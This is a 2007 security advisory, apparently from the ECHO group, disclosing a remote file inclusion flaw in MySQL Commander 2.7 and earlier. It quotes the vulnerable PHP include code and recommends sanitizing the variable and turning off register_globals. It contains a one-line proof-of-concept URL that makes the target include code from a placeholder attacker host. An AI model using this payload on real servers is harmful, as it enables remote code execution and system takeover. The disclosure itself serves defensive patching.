[ECHO_ADV_73$2007] MySQL Commander <= 2.7 (home) Remote File Inclusion Vulnerability

[erdc@xxxxxxxxxx]

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[ECHO_ADV_73$2007] MySQL Commander <= 2.7 (home) Remote File Inclusion 
Vulnerability
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Author         : M.Hasran Addahroni
Date           : March, 13th 2007
Location       : Australia, Sydney
Web            : http://advisories.echo.or.id/adv/adv73-K-159-2007.txt
Critical Lvl   : Dangerous
Impact         : System access
Where          : From Remote
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Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application   : MySQL Commander 
version       : <= 2.7
Vendor        : http://www.bitesser.de/freeware/script.php?id=1
Description :

A small tool to backup and restore MySQL Tables. Features: backup/restore of 
binaries; parametric backup; multiserver; Gzipping; killing of backup files; 
german/english; Online help in popup.
This tool makes backups of all the tables in a database. The data will be 
stored in textfiles located in the "data"directory. You can backup and restore 
the "SQL create table command" and the "content". So you can easily make copies 
of your tables. (i.e. copy a hole database with a few clicks).
You will need PHP since version 4.1 and MySQL since Version 3.23

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Vulnerability:
~~~~~~~~~~~~~
- Invalid include function at ressourcen/dbopen.php :  
        
----------------ressourcen/dbopen.php-------------------
<?php
include $home."ressourcen/class.systemObject.php";
include $home."ressourcen/class.DatabaseMysql.php";
$db = new DatabaseMysql($config->dbuser[$_SESSION['which_db']], 
$config->dbpass[$_SESSION['which_db']], 
$config->dbserver[$_SESSION['which_db']]);
$ok = $db->init();

if (!$ok and $db->error and (strlen($config->dbserver[1]) > 0)) {
        echo $db->getError();
}

?>
----------------------------------------------------------------


Variables $home is not properly sanitized.
When register_globals=on and allow_fopenurl=on an attacker can exploit this 
vulnerability with a simple php injection script.


Poc/Exploit:
~~~~~~~~~

http://www.target.com/[mysqlcommander_path]/ressourcen/dbopen.php?home=http://attacker.com/evil?


Solution:
~~~~~~

- Sanitize variable $home on affected file.
- Turn off register_globals

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Shoutz:
~~~~
~ ping - my dearest wife, and my little son, for all the luv the tears n the 
breath
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,negative, str0ke (for 
the best comments)
~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,baylaw
~ SinChan,h4ntu,cow_1seng,sakitjiwa, m_beben, rizal, cR4SH3R, madkid, kuntua, 
stev_manado, nofry, x16
~ newbie_hacker@xxxxxxxxxxxxxxx
~ #aikmel #e-c-h-o @irc.dal.net

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Contact:
~~~~~

     K-159 || echo|staff || eufrato[at]gmail[dot]com
     Homepage: http://k-159.echo.or.id/

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